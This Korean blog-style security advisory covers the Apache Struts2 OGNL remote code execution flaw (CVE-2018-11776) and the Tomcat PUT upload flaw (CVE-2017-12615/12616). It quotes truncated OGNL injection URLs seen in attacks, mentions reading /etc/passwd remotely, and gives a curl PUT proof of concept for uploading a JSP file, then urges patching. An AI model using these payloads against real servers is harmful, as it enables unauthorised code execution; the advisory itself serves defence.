Apache Struts2 원격 코드 실행 취약점 공격 (CVE-2018-11776)
Struts 프레임워크의 중심부에서 신뢰할 수 없는 사용자 데이터의 유효성이 충분치 않아 발생합니다. 이는 잠재적 원격 코드 실행으로 이어질 수 있는 OGNL expression이 발생됩니다. Apache는 Apache Struts 2에 사용되는 REST 플러그인의 취약점을 악용하여 공격자가 특수하게 조작된 웹 요청을 애플리케이션으로 전송하여 영향을 받는 시스템에서 원격으로 임의 명령을 실행할 수 있는 취약점입니다.
정리하면, 자바 프레임워크 ‘아파치 스트럿츠(Apache Struts)’ 구버전 환경에서 원격코드실행(RCE) 공격을 허용하는 보안취약점 입니다.
해킹 공격자는 Struts 구성에 따라 리소스(예: 문서)를 식별하는데 사용되는 URI 쿼리의 OGNL 식을 사용하여, 악성 HTTP 요청을 보내 위와같이 서버에서 원격 코드(cat /etc/passwd)를 실행할 수 있습니다.
실제 공격 형태 참조.
http://www.testxxx.co.kr:80/%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensympho
http://x4.x4.57.122:8080/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwor
http://ab.cd.com:8080/%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runt
Apache Tomcat 원격 코드 실행, 정보 노출 취약점 (CVE-2017-12615)
HTTP PUT 메소드를 사용하여 HTTP 요청을 보낼 때 이를 조작하여 jsp 파일을 서버에 업로드할 수 있는 원격 코드 실행 취약점. PUT 메소드를 사용해 Windows 서버에 HTTP 요청을 보낼 때 이를 조작하여 jsp 파일을 서버에 업로드할 수 있는 원격 코드 실행 취약점(CVE-2017-12615)과 VirtualDirContext 클래스 사용시 해당 클래스가 제공하는 리소스에 대해 보안 정책을 우회하여 jsp 소스코드를 볼 수 있는 정보 노출 취약점(CVE-2017-12616)입니다.
실제 공격 형태 참조.
http://44x.2xx.x2.57:8080/indexweb4.jsp/
http://1x.x7.15.x62/dbe_put1.jsp/
http://www.abxd.com:8088/FxCodeShell.jsp/
POC 과정 (git 참조)
Exploit using 'curl':
Create a .jsp file (e.g. test.jsp):
<% out.write("
[+] JSP file successfully uploaded via curl and JSP out.write executed.
"); %>
Perform the curl command on target server:
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp
Check if your file is uploaded by browsing to the target address or:
curl http://target-host-or-ip-address:port/test.jsp
이와 같은 Apache Struts2 보안 취약점이 존재한다면 반드시 확인후 사용 중인 서버 담당자는 최신 버전으로 업데이트해야 합니다.
답글 남기기
댓글을 달기 위해서는 로그인해야합니다.